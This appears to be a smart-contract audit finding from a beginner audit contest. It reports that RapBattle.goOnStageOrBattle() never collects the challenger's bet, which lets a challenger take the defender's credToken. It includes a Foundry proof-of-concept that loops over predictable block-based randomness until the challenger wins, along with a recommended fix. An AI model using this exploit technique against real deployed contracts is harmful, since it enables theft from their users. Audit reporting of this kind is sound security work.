Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

RapBattle.goOnStageOrBattle(): challenger can steal credToken from the contract

Summary

RapBattle.goOnStageOrBattle() does not collect credToken from the challenger. It gives challenger credToken instead. The credToken given to the challenger is the bet of the defender, so the defender takes the loss.

Vulnerability Details

This is the vulnerable function:

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}

If there is a defender on the stage, the function goes into the else block. Note that credToken.transferFrom() is commented out, so challenger can enter the battle for free. In _battle():

// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
// @audit-issue can steal credToken from the contract
credToken.transfer(msg.sender, _credBet);
}

In the code above, if challenger can make it into the else block then he will get free credToken. To make sure that random > defenderRapperSkill always holds, note that challenger can just observe the outcome and revert if the outcome is not favorable. For example, challenger can check if his credToken balance is increased by _credBet at the end of the PoC. If not, simply revert the whole tx and try again later. Therefore, challenger can always profit from the contract.

Impact

Challenger can steal credToken from the RapBattle contract. The credToken being stolen comes from the defender.

PoC

Add the following test case to OneShotTest.t.sol:

function testPoCGoOnStageOrBattle() public {
// user staking for 4 days
vm.startPrank(user);
oneShot.mintRapper(); // _tokenId == 0
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
// 4 days later, user go on stage -> becomes defender
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(0, 4);
vm.stopPrank();
// challenger battle and steal token
vm.startPrank(challenger);
oneShot.mintRapper(); // _tokenId == 1
// Note that challenger does not own any credToken at this stage
console.log("challenger credToken balance before: ", cred.balanceOf(challenger));
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
while (true) {
// The 3rd argument is challenger instead of msg.sender in our context
uint256 random = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
challenger
)
)
) % totalBattleSkill;
console.log("block.timestamp: ", vm.getBlockTimestamp());
console.log("random: ", random);
console.log("defenderRapperSkill: ", defenderRapperSkill);
console.log();
if (random <= defenderRapperSkill) {
vm.warp(block.timestamp + 1);
continue;
}
// can specify _credBet == 4 even though challenger does not own any
rapBattle.goOnStageOrBattle(1, 4);
break;
}
vm.stopPrank();
// check if the PoC succeeded
assertEq(cred.balanceOf(challenger), 4);
console.log("challenger credToken balance after: ", cred.balanceOf(challenger));
}

Run test:

forge test --match-test testPoCGoOnStageOrBattle -vv

Tools Used

Manual review

Recommendations

Collect credToken from challenger in goOnStageOrBattle():

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.